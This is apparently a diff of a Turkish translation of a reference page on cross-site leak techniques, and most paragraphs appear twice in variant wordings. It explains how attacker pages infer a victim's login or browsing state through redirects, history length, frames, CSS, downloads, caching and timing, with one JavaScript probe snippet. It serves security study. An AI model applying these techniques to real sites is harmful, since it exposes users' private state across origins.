Bu tür bir saldırı için genellikle `SameSite=None` veya aynı bağlamda olmak gereklidir.
### URL Maksimum Uzunluğu - İstemci Tarafı
### URL Maksimum Uzunluk - İstemci Tarafı
* **Dahil Etme Yöntemleri**: Açılır Pencereler
* **Algılanabilir Fark**: Durum Kodu / İçerik
* **Daha Fazla Bilgi**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Özet:** Yönlendirme yanıtının uzunluğundan kaynaklanan farkları tespit ederek, istek için yönlendirme yanıtının çok büyük olması durumunda fark edilebilecek bir fark olabilir.
* **Özet:** Yönlendirme yanıtının uzunluğundan kaynaklanan farkları tespit etmek, bir isteğin çok büyük olması nedeniyle bir farkın fark edilebilir olması mümkün olabilir.
* **Kod Örneği**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
[Chromium belgelerine](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length) göre, Chrome'un maksimum URL uzunluğu 2MB'dir.
> Genel olarak, _web platformu_ URL'lerin uzunluğuna sınırlar getirmez (ancak 2^31 yaygın bir sınırdır). _Chrome_, uygulamada hizmet dışı bırakma sorunlarına neden olmamak ve pratik nedenlerle URL'leri maksimum **2MB** uzunluğunda sınırlar.
> Genel olarak, _web platformu_ URL'lerin uzunluğuna sınırlar koymaz (ancak 2^31 yaygın bir sınırdır). _Chrome_, uygulama arasında hizmet reddi sorunlarına neden olmamak ve pratik nedenlerle URL'leri maksimum **2MB** uzunluğunda sınırlar.
Bu nedenle, eğer **yönlendirme URL'si** bir durumda daha büyükse, URL'nin **2MB'den büyük bir uzunluğa sahip olacak şekilde yönlendirilmesi** mümkündür. Bu gerçekleştiğinde, Chrome bir **`about:blank#blocked`** sayfası gösterir.
Bu nedenle, eğer **yönlendirme URL'si bir durumda daha büyükse**, bu, URL'nin **2MB'den daha büyük olacak şekilde yönlendirilmesini sağlamak** mümkündür. Bu gerçekleştiğinde, Chrome bir **`about:blank#blocked`** sayfası gösterir.
**Fark edilebilir fark**, eğer **yönlendirme** tamamlandıysa, `window.origin` bir **hata fırlatır** çünkü çapraz kökenli bir alan bu bilgiye erişemez. Ancak, **limit**ıldığında ve yüklenen sayfa **`about:blank#blocked`** ise pencerenin **`origin`**'i **ana**nın **erişilebilir bilgisi** olarak kalır.
**Fark edilebilir fark**, eğer **yönlendirme** tamamlandıysa, `window.origin` bir **hata fırlatır** çünkü çapraz köken bu bilgiye erişemez. Ancak, **limit**ıldığında ve yüklenen sayfa **`about:blank#blocked`** ise pencerenin **`origin`**'i **ana sayfanın**ki olarak kalır, bu da **erişilebilir bir bilgidir.**
**2MB'ye** ulaşmak için gereken tüm ek bilgiler, başlangıçtaki URL'de bir **hash** ile eklenerek yönlendirmede **kullanılabilir** hale getirilebilir.
{% content-ref url="url-max-length-client-side.md" %}
[url-max-length-client-side.md](url-max-length-client-side.md)
{% endcontent-ref %}
**2MB'ye** ulaşmak için gereken tüm ek bilgiler, başlangıçtaki URL'deki bir **hash** ile eklenerek yönlendirmede **kullanılabilir** hale getirilebilir.
### Maksimum Yönlendirmeler
* **Dahil Etme Yöntemleri**: Fetch API, Frames
@ -648,17 +643,17 @@ Eğer bir tarayıcının takip edeceği **maksimum** yönlendirme sayısı **20*
* **Özet:** JavaScript kodu tarayıcı geçmişini manipüle edebilir ve uzunluk özelliği ile erişilebilir.
* **Kod Örneği**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**Geçmiş API'sı**, JavaScript koduna tarayıcı geçmişini manipüle etme izni verir, bu da bir kullanıcının ziyaret ettiği sayfaları **kaydeder**. Bir saldırgan uzunluk özelliğini dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML gezinmesini algılamak için.\
`history.length`'i kontrol etmek, bir kullanıcıyı bir sayfaya **gezdirmek**, onu **aynı kök**e **geri değiştirmek** ve **`history.length`**'in **yeni değerini kontrol etmek**.
**Geçmiş API** JavaScript koduna tarayıcı geçmişini manipüle etme izni verir, bu da bir kullanıcının ziyaret ettiği sayfaları **kaydeder**. Bir saldırgan uzunluk özelliğini dahil etme yöntemi olarak kullanabilir: JavaScript ve HTML gezinmesini algılamak için.\
**`history.length` kontrol edilerek**, bir kullanıcının bir sayfaya **gezinmesi**, onu **aynı kök dizine geri dönüştürmesi** ve **`history.length`'in yeni değerini kontrol etmesi**.
### Aynı URL ile Geçmiş Uzunluğu
* **Dahil Etme Yöntemleri**: Frames, Açılır Pencereler
* **Algılanabilir Fark**: URL tahmin edilenle aynı mı
* **Özet:** Geçmiş uzunluğunu kötüye kullanarak bir çerçeve/açılır pencerenin konumunun belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
* **Algılanabilir Fark**: URL'nin tahmin edilenle aynı olup olmadığı
* **Özet:** Geçmiş uzunluğunu kötüye kullanarak bir çerçevenin/açılır pencerenin konumunun belirli bir URL'de olup olmadığını tahmin etmek mümkündür.
* **Kod Örneği**: Aşağıda
Bir saldırgan JavaScript kodunu kullanarak **çerçeve/açılır pencerenin konumunu tahmin edilen bir yere manipüle edebilir** ve **hemen** **`about:blank`**'e **değiştirebilir**. Eğer geçmiş uzunluğu artarsa, bu demek ki URL doğruydu ve **artma şansı vardı çünkü URL aynıysa yeniden yüklenmez**. Eğer artmazsa, bu demek ki **tahmin edilen URL'yi yüklemeye çalıştı** ama **hemen sonra** **`about:blank`**'i yüklediğimiz için, geçmiş uzunluğu **tahmin edilen URL yüklenirken hiç artmadı**.
Bir saldırgan JavaScript kodunu kullanarak **çerçevenin/açılır pencerenin konumunu tahmin edilen bir yere manipüle edebilir** ve **hemen** **`about:blank`'a değiştirebilir**. Eğer geçmiş uzunluğu artarsa, bu demek ki URL doğruydu ve **artma şansı vardı çünkü URL aynıysa yeniden yüklenmez**. Eğer artmazsa, bu demek ki **tahmin edilen URL'yi yüklemeye çalıştı** ama **hemen sonra** **`about:blank`'ı yüklediğimiz için**, geçmiş uzunluğu **tahmin edilen URL'yi yüklerken hiç artmadı**.
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
@ -687,7 +682,7 @@ console.log(await debug(win, "https://example.com/?a=b"));
`iframe` veya `window.open` ile açılan bir web sayfasındaki **çerçeve sayısını saymak**, kullanıcının o sayfadaki **durumunu belirlemeye yardımcı olabilir**.\
Ayrıca, sayfada her zaman aynı sayıda çerçeve varsa, çerçeve sayısını **sürekli olarak** kontrol etmek, sızdırılabilecek bilgileri belirlemeye yardımcı olabilir.
Bu tekniğin bir örneği olarak, Chrome'da bir **PDF**, içsel olarak bir `embed` kullanıldığı için **çerçeve sayma** ile **tespit edilebilir**. `zoom`, `view`, `page`, `toolbar` gibi bazı kontrol sağlayan [ık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) vardır, bu teknik ilginç olabilir.
Bu teknikte bir örnek olarak, Chrome'da bir **PDF**, içsel olarak bir `embed` kullanıldığı için **çerçeve sayma** ile **tespit edilebilir**. `zoom`, `view`, `page`, `toolbar` gibi bazı kontrol sağlayan [ık URL Parametreleri](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) bulunmaktadır, bu teknik ilginç olabilir.
### HTMLElements
@ -697,14 +692,14 @@ Bu tekniğin bir örneği olarak, Chrome'da bir **PDF**, içsel olarak bir `embe
* **Özet:** Sızdırılan değeri okuyarak 2 olası durum arasındaki farkı ayırt edin
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
HTML elemanları aracılığıyla bilgi sızıntısı, özellikle dinamik medya dosyaları kullanıcı bilgilerine dayalı olarak oluşturulduğunda veya filigranlar eklendiğinde, medya boyutunu değiştirerek web güvenliğinde bir endişe kaynağıdır. Bu, saldırganların belirli HTML elemanları tarafından açığa çıkarılan bilgileri analiz ederek olası durumlar arasında ayrım yapmalarını sağlayabilir.
HTML elemanları aracılığıyla bilgi sızıntısı, özellikle dinamik medya dosyalarının kullanıcı bilgilerine dayalı olarak oluşturulduğu veya filigranların eklendiği durumlarda web güvenliğinde endişe yaratmaktadır. Bu, saldırganların belirli HTML elemanları tarafından açığa çıkarılan bilgileri analiz ederek olası durumlar arasındaki farkı ayırt etmelerini sağlayabilir.
### HTML Elemanları Tarafından Açığa Çıkarılan Bilgiler
* **HTMLMediaElement**: Bu eleman medyanın `duration` ve `buffered` sürelerini ortaya çıkarır, bu bilgilere API'si aracılığıyla erişilebilir. [HTMLMediaElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: `videoHeight` ve `videoWidth`'i açığa çıkarır. Bazı tarayıcılarda, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` ve `webkitDecodedFrameCount` gibi ek özellikler mevcuttur, medya içeriği hakkında daha detaylı bilgi sunar. [HTMLVideoElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Bu işlev, video oynatma kalitesi hakkında detaylar sağlar, işlenen video veri miktarını gösterebilen `totalVideoFrames` dahil. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Bu eleman bir resmin `height` ve `width`'ini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 döndürecektir ve `image.decode()` işlevi reddedilecektir, resmi doğru bir şekilde yüklenemediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
* **HTMLVideoElement**: `videoHeight` ve `videoWidth` özelliklerini ortaya çıkarır. Bazı tarayıcılarda, `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` ve `webkitDecodedFrameCount` gibi ek özellikler mevcuttur, medya içeriği hakkında daha detaylı bilgi sunar. [HTMLVideoElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: Bu fonksiyon, video oynatma kalitesi hakkında detaylar sağlar, `totalVideoFrames` dahil olmak üzere işlenen video veri miktarını gösterebilir. [getVideoPlaybackQuality() hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: Bu eleman bir resmin `height` ve `width`'ini sızdırır. Ancak, bir resim geçersizse, bu özellikler 0 dönecek ve `image.decode()` fonksiyonu reddedilecektir, resmin doğru şekilde yüklenemediğini gösterir. [HTMLImageElement hakkında daha fazla bilgi edinin](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Özelliği
@ -714,48 +709,48 @@ HTML elemanları aracılığıyla bilgi sızıntısı, özellikle dinamik medya
* **Özet:** Kullanıcının durumu veya durumu ile ilişkili web sitesi stilindeki değişiklikleri belirleyin.
* **Kod Örneği**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Web uygulamaları, **kullanıcının durumuna bağlı olarak web sitesi stilini değiştirebilir**. Cross-origin CSS dosyaları, **HTML link elemanı** ile saldırgan sayfasına gömülebilir ve **kurallar** saldırgan sayfaya **uygulanır**. Bir sayfa bu kuralları dinamik olarak değiştiriyorsa, bir saldırgan, kullanıcı durumuna bağlı olarak bu **farklılıkları tespit edebilir**.\
Bir sızıntı tekniği olarak, saldırgan, belirli bir HTML elemanının CSS özelliklerini **okumak** için `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, bir saldırgan keyfi CSS özelliklerini okuyabilir.
Web uygulamaları, **kullanıcının durumuna bağlı olarak web sitesi stilini değiştirebilir**. Çapraz kökenli CSS dosyaları, **HTML link elemanı** ile saldırgan sayfasına gömülebilir ve **kurallar** saldırgan sayfaya **uygulanır**. Bir sayfa bu kuralları dinamik olarak değiştiriyorsa, bir saldırgan, kullanıcı durumuna bağlı olarak bu **farklılıkları tespit edebilir**.\
Bir sızıntı tekniği olarak, saldırgan belirli bir HTML elemanının CSS özelliklerini okumak için `window.getComputedStyle` yöntemini kullanabilir. Sonuç olarak, etkilenen eleman ve özellik adı biliniyorsa, saldırgan keyfi CSS özelliklerini okuyabilir.
### CSS Geçmişi
* **Dahil Etme Yöntemleri**: HTML Elemanları
* **Algılanabilir Fark**: Sayfa İçeriği
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Özet:** Bir URL'ye `:visited` stili uygulandığında ziyaret edildiğini belirlemek
* **Özet:** Bir URL'ye `:visited` stili uygulandığında ziyaret edildiğini belirleyin
* **Kod Örneği**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
[**Buna**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) göre, bu headless Chrome'da çalışmıyor.
{% endhint %}
CSS `:visited` seçicisi, kullanıcı tarafından daha önce ziyaret edilmiş URL'leri farklı şekilde biçimlendirmek için kullanılır. Geçmişte, `getComputedStyle()` yöntemi bu stil farklılıklarını belirlemek için kullanılabilirdi. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu ortaya çıkarmasını engellemek için güvenlik önlemleri uygulamıştır. Bu önlemler, her zaman bağlantının ziyaret edilmiş gibi hesaplanan stilin döndürülmesini ve `:visited` seçicisi ile uygulanabilecek stilleri kısıtlamayı içerir.
CSS `:visited` seçicisi, kullanıcı tarafından daha önce ziyaret edilmiş URL'leri farklı şekilde biçimlendirmek için kullanılır. Geçmişte, `getComputedStyle()` yöntemi bu stil farklarını belirlemek için kullanılabilirdi. Ancak, modern tarayıcılar, bu yöntemin bir bağlantının durumunu ortaya çıkarmasını önlemek için güvenlik önlemleri uygulamıştır. Bu önlemler, her zaman bağlantının ziyaret edilmiş gibi hesaplanmış stilini döndürmek ve `:visited` seçicisi ile uygulanabilecek stilleri kısıtlamak içerir.
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alana etkileşime sokarak, özellikle `mix-blend-mode` özelliğini kullanmaktır. Bu özellik, öğelerin arka planlarıyla karıştırılmasına izin verir ve kullanıcı etkileşimine dayanarak ziyaret edilmiş durumu ortaya çıkarabilir.
Bu kısıtlamalara rağmen, bir bağlantının ziyaret edilmiş durumunu dolaylı olarak ayırt etmek mümkündür. Bir teknik, kullanıcıyı CSS'den etkilenen bir alana etkileşime sokarak, özellikle `mix-blend-mode` özelliğini kullanmaktır. Bu özellik, elemanların arka planlarıyla karıştırılmasına izin verir ve kullanıcı etkileşimine dayanarak ziyaret edilmiş durumu ortaya çıkarabilir.
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render zamanlamalarını sömürerek algılama sağlanabilir. Tarayıcılar ziyaret edilen ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu, renderleme sürecinde ölçülebilir bir zaman farkı oluşturabilir. Bu tekniği, ziyaret edilmiş durumun, zaman analizi yoluyla algılanabilir hale getirmek için birden fazla bağlantı kullanarak zaman farkını artırarak gösteren bir kanıt konsepti (PoC), bir Chromium hata raporunda belirtildi.
Ayrıca, kullanıcı etkileşimi olmadan bağlantıların render zamanlamalarını sömürerek algılama sağlanabilir. Tarayıcılar ziyaret edilen ve ziyaret edilmemiş bağlantıları farklı şekilde render edebileceğinden, bu, render etmede ölçülebilir bir zaman farkı oluşturabilir. Bu tekniği, ziyaret edilmiş durumu zamanlama analizi yoluyla algılanabilir hale getirmek için birden fazla bağlantı kullanarak gösteren bir kanıt konsepti (PoC), bir Chromium hata raporunda belirtildi.
Bu özellikler ve yöntemler hakkında daha fazla ayrıntı için belgelerine göz atın:
* `:visited`: [MDN Belgeleri](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN Belgeleri](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN Belgeleri](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### İçerik Belgesi X-Frame Sızıntısı
* `:visited`: [MDN Belgelendirmesi](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN Belgelendirmesi](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN Belgelendirmesi](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
* **Dahil Etme Yöntemleri**: Çerçeveler
* **Dahil Etme Yöntemleri**: Frames
* **Algılanabilir Fark**: Başlıklar
* **Daha Fazla Bilgi**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Özet:** Google Chrome'da, bir sayfa X-Frame-Options kısıtlamaları nedeniyle çapraz kökenli bir siteye gömülmesi engellendiğinde, özel bir hata sayfası görüntülenir.
* **Kod Örneği**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömülüyorsa, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için diğer tarayıcılardan farklı olarak boş bir belge nesnesi (null yerine) döndürür. Saldırganlar, boş belgeyi algılayarak, geliştiricilerin X-Frame-Options başlığını tutarsız bir şekilde ayarladığı durumlarda özellikle hata sayfalarını göz ardı ettiğinde, kullanıcının durumu hakkında bilgi açığa çıkarabilir. Bu tür sızıntıları önlemek için güvenlik başlıklarının farkında olunması ve tutarlı bir şekilde uygulanması önemlidir.
Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarlanmış bir sayfa bir nesne olarak gömülüyorsa, bir hata sayfası görünür. Chrome, bu nesnenin `contentDocument` özelliği için diğer tarayıcılardan farklı olarak boş bir belge nesnesi (null yerine) döndürür. Saldırganlar, boş belgeyi algılayarak, geliştiricilerin X-Frame-Options başlığını tutarsız bir şekilde ayarladığı durumlarda özellikle kullanıcının durumu hakkında bilgi açığa çıkarabilir. Bilinç ve güvenlik başlıklarının tutarlı uygulanması, bu tür sızıntıları önlemek için hayati önem taşır.
### İndirme Tespiti
* **Dahil Etme Yöntemleri**: Çerçeveler, Açılır Pencereler
* **Dahil Etme Yöntemleri**: Frames, Açılır Pencereler
* **Algılanabilir Fark**: Başlıklar
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Özet:** Bir saldırgan, iframeleri kullanarak dosya indirmelerini ayırt edebilir; iframenin devamlı erişilebilir olması, başarılı dosya indirmesini ima eder.
* **Özet:** Bir saldırgan, iframeleri kullanarak dosya indirmelerini ayırt edebilir; iframenin devam eden erişilebilirliği, başarılı dosya indirmesini ima eder.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` başlığı, özellikle `Content-Disposition: attachment`, tarayıcıya içeriği görüntülemek yerine indirmesini talimat verir. Bu davranış, bir kullanıcının bir dosya indirme tetikleyen bir sayfaya erişiminin olup olmadığını tespit etmek için sömürülebilir. Chromium tabanlı tarayıcılarda, bu indirme davranışını tespit etmek için birkaç teknik bulunmaktadır:
@ -764,11 +759,11 @@ Chrome'da, `X-Frame-Options` başlığı "deny" veya "same-origin" olarak ayarla
* Bir dosya Chromium tabanlı tarayıcılarda indirildiğinde, tarayıcı penceresinin altında bir indirme çubuğu görünür.
* Saldırganlar, pencere yüksekliğindeki değişiklikleri izleyerek, indirme çubuğunun görünümünü çıkarımlayabilir ve bir indirme başlatıldığını öne sürebilir.
2. **İframelerle İndirme Navigasyonu**:
* Bir sayfa, `Content-Disposition: attachment` başlığını kullanarak bir dosya indirme tetiklediğinde, bu bir navigasyon olayına neden olmaz.
* İçeriği bir iframede yükleyerek ve navigasyon olaylarını izleyerek, içerik düzeninin bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (navigasyon olmaz).
* Bir sayfa, `Content-Disposition: attachment` başlığını kullanarak bir dosya indirme tetiklediğinde, bu bir gezinme olayına neden olmaz.
* İçeriği bir iframe'de yükleyerek ve gezinme olaylarını izleyerek, içerik düzeninin bir dosya indirmesine neden olup olmadığını kontrol etmek mümkündür (gezinme olmaz).
3. **İframeler Olmadan İndirme Navigasyonu**:
* İframe tekniğiyle benzer şekilde, bu yöntem bir iframe yerine `window.open` kullanımını içerir.
* Yeni açılan pencerede navigasyon olaylarını izleyerek, bir dosya indirme tetiklenip tetiklenmediğini (navigasyon olmaz) veya içeriğin içeride görüntülendiğini belirlemek mümkündür (navigasyon gerçekleşir).
* Yeni açılan pencerede gezinme olaylarını izleyerek, bir dosya indirilip indirilmediğini (gezinme olmaz) veya içeriğin içeride görüntülendiğini belirlemek mümkündür.
Yalnızca giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiği senaryolarda, bu teknikler, tarayıcının indirme isteğine verdiği yanıta dayanarak dolaylı olarak kullanıcının kimlik doğrulama durumunu çıkarmak için kullanılabilir.
@ -777,16 +772,16 @@ Yalnızca giriş yapmış kullanıcıların bu tür indirmeleri tetikleyebildiğ
* **Dahil Etme Yöntemleri**: Açılır Pencereler
* **Algılanabilir Fark**: Zamanlama
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Özet:** Bir saldırgan, iframeleri kullanarak dosya indirmelerini ayırt edebilir; iframenin devamlı erişilebilir olması, başarılı dosya indirmesini ima eder.
* **Özet:** Bir saldırgan, iframeleri kullanarak dosya indirmelerini ayırt edebilir; iframenin devam eden erişilebilirliği, başarılı dosya indirmesini ima eder.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% hint style="warning" %}
Bu tekniği ilginç kılan şey şudur: Chrome artık **önbellek bölümlendirmesine** sahiptir ve yeni açılan sayfanın önbellek anahtarı şudur: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ancak bir ngrok sayfası açarsam ve içinde fetch kullanırsam, önbellek anahtarı şu olacaktır: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **önbellek anahtarı farklıdır**, bu nedenle önbellek paylaşılamaz. Daha fazla ayrıntıya buradan ulaşabilirsiniz: [Önbelleği bölümlendirerek güvenlik ve gizlilik elde etme](https://developer.chrome.com/blog/http-cache-partitioning/)\
Bu teknik neden ilginç: Chrome artık **önbellek bölümlendirmesi**ne sahip ve yeni açılan sayfanın önbellek anahtarı şudur: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ancak bir ngrok sayfası açarsam ve içinde fetch kullanırsam, önbellek anahtarı şu olacaktır: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **önbellek anahtarı farklıdır**, bu nedenle önbellek paylaşılamaz. Daha fazla ayrıntıya buradan ulaşabilirsiniz: [Önbelleği bölmekle güvenlik ve gizlilik kazanma](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Yorum [**buradan**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}
Eğer bir site `example.com`, `*.example.com/resource` kaynağını içeriyorsa, o kaynağın **önbellekleme anahtarı**, kaynağın doğrudan **üst düzey gezinme** ile istendiği gibi olacaktır. Çünkü önbelleğe erişmek, bir kaynağı yüklemekten daha hızlıdır, sayfanın konumunu değiştirmeye çalışıp durdurmayı 20ms (örneğin) sonra iptal etmeye çalışmak mümkündür. Eğer durdurmadan sonra köken değiştiyse, kaynağın önbelleğe alındığı anlamına gelir.\
Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch gönderip alınan zamanı ölçebilirsiniz**.
Eğer bir site `example.com`, `*.example.com/resource` kaynağını içeriyorsa, o kaynak, kaynak doğrudan **üst düzey gezinme** ile istenmiş gibi **aynı önbellek anahtarına** sahip olacaktır. Çünkü önbelleğe erişmek, bir kaynağı yüklemekten daha hızlıdır, sayfanın konumunu değiştirmeye çalışabilir ve durdurmayı 20ms (örneğin) sonra iptal etmeye çalışabilirsiniz. Eğer durdurmadan sonra köken değiştiyse, kaynağın önbelleğe alındığı anlamına gelir.\
Ya da sadece **önbelleğe alınmış sayfaya bazı fetch gönderebilir ve alınan zamanı ölçebilirsiniz**.
### Manuel Yönlendirme <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -803,10 +798,10 @@ Ya da sadece **potansiyel olarak önbelleğe alınmış sayfaya bazı fetch gön
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Zamanlama
* **Daha Fazla Bilgi**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Özet:** Bir kaynağı yüklemeye çalışabilir ve yüklenmeden önce yüklemenin kesilmesi. Bir hata tetiklenirse, kaynağın önbelleğe alınıp alınmadığına bağlı olarak.
* **Özet:** Bir kaynağı yüklemeye çalışabilir ve yüklenmeden önce yüklemenin kesilmesi mümkün olabilir. Bir hata tetiklenirse, kaynağın önbelleğe alınıp alınmadığına bağlı olarak, kaynak önbelleğe alınmıştır veya alınmamıştır.
* **Kod Örneği**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Belirli bir kaynağın tarayıcı önbelleğinde olup olmadığını tespit etmek ve yeni içerik önbelleğe alınmadan belirli bir kaynağı önbellekten çıkarmak için _**fetch**_ ve _**setTimeout**_ kullanın. Ayrıca, işlem yeni içerik önbelleğe alınmadan gerçekleşir.
Belirli bir kaynağın tarayıcı önbelleğinde olup olmadığını tespit etmek ve belirli bir kaynağı tarayıcı önbelleğinden çıkarmak için _**fetch**_ ve _**setTimeout**_ kullanın. Ayrıca, yeni içerik önbelleğe alınmadan işlem gerçekleşir.
### Komut Kirliliği
* **Dahil Etme Yöntemleri**: HTML Elemanları (script)
@ -823,18 +818,18 @@ Belirli bir kaynağın tarayıcı önbelleğinde olup olmadığını tespit etme
* **Özet:** Bir web sitesinin yürütme süresini hizmet işçileri kullanarak ölçün.
* **Kod Örneği**:
Verilen senaryoda, saldırgan **hizmet işçilerinden birini** özellikle "attacker.com" alanlarından birinde kaydeder. Sonra saldırgan, hedef web sitesindeki ana belgeden yeni bir pencere açar ve **hizmet işçisine** bir zamanlayıcı başlatmasını talimat verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **hizmet işçisi** tarafından yönetilen bir sayfaya yönlendirir.
Verilen senaryoda, saldırgan **hizmet işçilerinden** birini, özellikle "saldırgan.com" alanlarından birinde kaydeder. Sonra saldırgan, hedef web sitesinde ana belgeden yeni bir pencere açar ve **hizmet işçisine** bir zamanlayıcı başlatmasını talimat verir. Yeni pencere yüklenmeye başladığında, saldırgan önceki adımda elde edilen referansı **hizmet işçisi** tarafından yönetilen bir sayfaya yönlendirir.
Önceki adımda başlatılan isteğin varışı sırasında, **hizmet işçisi** önceki adımda başlatılan zamanlayıcıdan bir ölçüm yakalar. Bu ölçüm, navigasyon sürecinde gecikmelere neden olan JavaScript'in süresinden etkilenir.
Önceki adımda başlatılan isteğin varışında, **hizmet işçisi** etkin bir şekilde navigasyon sürecini sonlandıran bir **204 (İçerik Yok)** durum kodu ile yanıt verir. Bu noktada, **hizmet işçisi** önceki adımda başlatılan zamanlayıcıdan bir ölçüm yakalar. Bu ölçüm, navigasyon sürecinde gecikmelere neden olan JavaScript'in süresinden etkilenir.
{% hint style="warning" %}
Bir yürütme zamanlamasında **ağ faktörlerini ortadan kaldırmak** ve **daha kesin ölçümler** elde etmek mümkündür. Örneğin, sayfanın yüklenmeden önce kullandığı kaynakları yükleyerek.
{% endhint %}
### Alım Zamanlaması
### Getirme Zamanlaması
* **Dahil Etme Yöntemleri**: Fetch API
* **Algılanabilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu)
* **Dahil Etme Yöntemleri**: Getirme API'si
